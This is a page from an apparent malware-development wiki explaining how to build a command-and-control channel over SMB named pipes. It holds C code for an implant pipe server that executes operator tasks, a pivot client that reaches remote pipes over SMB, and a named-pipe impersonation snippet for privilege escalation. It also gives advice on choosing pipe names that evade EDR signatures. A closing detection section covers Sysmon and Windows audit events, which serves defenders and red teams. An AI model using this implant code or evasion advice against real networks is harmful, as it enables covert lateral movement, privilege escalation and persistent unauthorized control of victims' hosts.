Skip to content
λmaldev wiki/
pagesSMB Named Pipe C2
T1071.002WindowsC / C++SMBNamed Pipes

SMB Named Pipe C2

updated 2026-08-048 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

Named pipes are an IPC mechanism that can be accessed locally or across a network via SMB (\\server\pipe\pipename). Using them as a C2 channel has two practical advantages: SMB is almost always allowed between Windows hosts on the same LAN (file sharing), and named pipe traffic is encrypted by SMB signing on domain networks — making content inspection harder.

The canonical C2 architecture uses named pipes for lateral movement legs: an internet-facing implant reaches back to the operator over HTTP, while peer implants on non-internet-routable hosts communicate with the anchor over named pipes. Cobalt Strike’s psexec pivot and link command use exactly this pattern.

Note.

Named pipe names are case-insensitive and follow the path \\.\pipe\name locally or \\host\pipe\name remotely. Windows ships with hundreds of legitimate named pipes; picking a name that mimics an existing one (e.g. \pipe\svcctl, \pipe\lsarpc) blends with baseline noise but is increasingly flagged by EDR pipe-name allow-listing.

The call chain

  1. 1
    CreateNamedPipeW (server side)
    Create a named pipe server endpoint — the implant listens here for operator connections.
  2. 2
    ConnectNamedPipe
    Block until an operator or peer implant connects to the pipe.
  3. 3
    ReadFile / WriteFile
    Exchange tasking and output as raw bytes or framed messages over the pipe.
  4. 4
    (pivot) WNetAddConnection2 / CreateFileW (\\host\pipe\name)
    Peer implant connects to the server pipe over SMB — no direct internet connectivity required.

Reference implementation

Pipe server (implant listener)

pipe_server.cC
#include <windows.h>

#define PIPE_NAME  L"\\\\.\\pipe\\msagent_rpc"
#define PIPE_BUFSIZE 65536

void pipe_server_loop(void) {
  for (;;) {
      HANDLE pipe = CreateNamedPipeW(
          PIPE_NAME,
          PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
          PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
          PIPE_UNLIMITED_INSTANCES,
          PIPE_BUFSIZE, PIPE_BUFSIZE,
          0, NULL);

      if (pipe == INVALID_HANDLE_VALUE) break;

      // Block until a client connects
      ConnectNamedPipe(pipe, NULL);

      // Read a task from the operator/peer
      BYTE buf[PIPE_BUFSIZE];
      DWORD read = 0;
      ReadFile(pipe, buf, sizeof buf, &read, NULL);

      // Dispatch the task and write back results
      BYTE result[PIPE_BUFSIZE];
      DWORD result_len = dispatch(buf, read, result);
      DWORD written = 0;
      WriteFile(pipe, result, result_len, &written, NULL);

      FlushFileBuffers(pipe);
      DisconnectNamedPipe(pipe);
      CloseHandle(pipe);
  }
}

Pipe client (pivot / operator side)

pipe_client.cC
#include <windows.h>

// Connect to a named pipe on a remote host over SMB
HANDLE connect_pipe(const wchar_t *host, const wchar_t *pipe_name) {
  wchar_t path[256];
  swprintf(path, 256, L"\\\\%s\\pipe\\%s", host, pipe_name);

  // Wait for the pipe to be available (retry loop)
  while (!WaitNamedPipeW(path, 5000));

  HANDLE h = CreateFileW(path,
                         GENERIC_READ | GENERIC_WRITE,
                         0, NULL, OPEN_EXISTING,
                         FILE_FLAG_OVERLAPPED, NULL);
  if (h == INVALID_HANDLE_VALUE) return NULL;

  // Switch to message mode
  DWORD mode = PIPE_READMODE_MESSAGE;
  SetNamedPipeHandleState(h, &mode, NULL, NULL);
  return h;
}

void send_task(HANDLE pipe, const BYTE *task, DWORD len) {
  DWORD written;
  WriteFile(pipe, task, len, &written, NULL);

  BYTE result[65536];
  DWORD read;
  ReadFile(pipe, result, sizeof result, &read, NULL);
  // process result...
}

Pipe naming strategy

Approach Example Risk
Mimic a Windows pipe \pipe\svcctl Allow-listed by EDR; collision risk
Random GUID \pipe\{a3f2c1d4-...} Stands out; no baseline
Mimic software vendor \pipe\chrome.sync Depends on installed software baseline
Random alphanumeric \pipe\msagent_rpc Moderate; no clear purpose

Cobalt Strike’s default pipe names (\pipe\msagent_0, \pipe\mojo.*) are all signatured. Custom pipe names that mimic legitimate Windows inter-process communication reduce the signature match risk but still appear in Sysmon EID 17/18.

Impersonation via pipe

A named pipe server can impersonate the connecting client with ImpersonateNamedPipeClient, gaining that client’s security token. This is a privilege escalation primitive when the connecting client runs at a higher privilege level than the pipe server.

pipe_impersonate.cC
// After ConnectNamedPipe — impersonate the connecting client
ImpersonateNamedPipeClient(pipe);

// Now running with client's token — open resources they can access
HANDLE f = CreateFileW(L"C:\\secret\\data.txt",
                     GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);

RevertToSelf();  // drop impersonation

Detection

NETWORK
SMB traffic to a host that is not a legitimate file server; IPC$ share connections from workstation to workstation.
SYSMON EID 17 / 18
Named pipe creation and connection events; filter on pipe names that don't match known software.
BEHAVIOURAL
A non-svchost, non-lsass process creating a named pipe that receives connections from across the network.
WINDOWS EID 5145
Network share object access audit for the IPC$ share — logs every named pipe connection with account name.

Windows EID 5145 is the most comprehensive audit point: it logs every named pipe connection (as a share object access to IPC$) including the connecting account and source address. Combined with a named pipe allow-list, it can fire on any unexpected pipe name accessed from an unexpected source.

T1071.001HTTP BeaconingInternet-facing channel; named pipe provides the peer-to-peer leg after internet ingress.
T1021.002SMB / Windows Admin SharesNamed pipes transit over the same SMB transport; share access is the first step.
T1572Protocol TunnelingNamed pipes can tunnel arbitrary protocols, including HTTP, for additional obfuscation.
Was this page useful?edit this page ↗